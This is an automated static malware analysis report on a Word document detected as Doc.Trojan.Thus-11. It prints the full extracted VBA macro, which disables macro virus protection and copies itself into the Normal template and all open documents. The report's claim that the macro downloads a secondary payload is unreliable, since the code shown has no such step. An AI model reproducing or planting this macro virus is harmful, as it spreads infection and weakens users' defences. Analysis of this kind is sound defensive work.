Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cab450f0124beba2…

MALICIOUS

Office (OLE)

37.5 KB Created: 2001-02-27 18:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 657cae7a999d66328861825697f50d05 SHA-1: feba69d957a71133b2d1338cd40b6871de339b71 SHA-256: cab450f0124beba28c72fe78dff980358e9372fa917d63b694cc80d7349fc6cd
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic 'Doc.Trojan.Thus-11' and the presence of a 'Document_Open' VBA macro strongly indicate malicious intent. The macro attempts to disable virus protection and manipulate its own code, suggesting it is designed to download and execute a secondary payload. The file is likely delivered as a spearphishing attachment.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-11
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2197 bytes
SHA-256: 639261f1c6cf2242ef53284972f4195a2991a4a699b117905a688bd176f6a377
Detection
ClamAV: Doc.Trojan.Thus-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Vacuna'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "'Thus_001'" Then
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Vacuna'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "'Thus_001'" Then
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Vacuna'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
End Sub
Private Sub Document_New()
    Document_Open
End Sub
Private Sub Document_Close()
    Document_Open
End Sub